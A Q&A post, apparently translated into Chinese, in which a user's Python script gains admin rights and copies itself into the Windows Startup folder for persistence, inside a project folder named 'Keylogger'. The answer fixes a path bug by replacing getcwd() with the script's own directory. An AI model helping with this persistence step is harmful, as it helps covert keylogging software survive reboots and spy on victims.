import shutil
import pyuac
import os
from pyuac import main_requires_admin
@main_requires_admin
def main():
directory = os.getcwd()
source = directory + "\startup.py"
target = r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\startup.py"
shutil.copyfile(source, target)
if __name__ == "__main__":
main()
错误
Exception has occurred: RuntimError
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\pahwu\\Desktop\\project\\startup.py'
File "C:\Users\pahwu\Desktop\project\Keylogger\startup.py", line 18, in <module>
main()
RuntimeError: FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\pahwu\\Desktop\\project\\startup.py'
这个问题存在于许多其他问题中。
代码不在文件夹
project/Keylogger
中运行,但在project
中运行,但getcwd()
不提供带有脚本的文件夹(这意味着project/Keylogger
),但Current Working Directory
在这里意味着project
你必须使用
directory = os.path.dirname(os.path.abspath(__file__))
获取正确的文件夹
如果您打算使用
pyinstaller
来创建 exe
那么您可能需要不同的方法来获得正确的 directory
。但这你应该在 pyinstaller
的文档中找到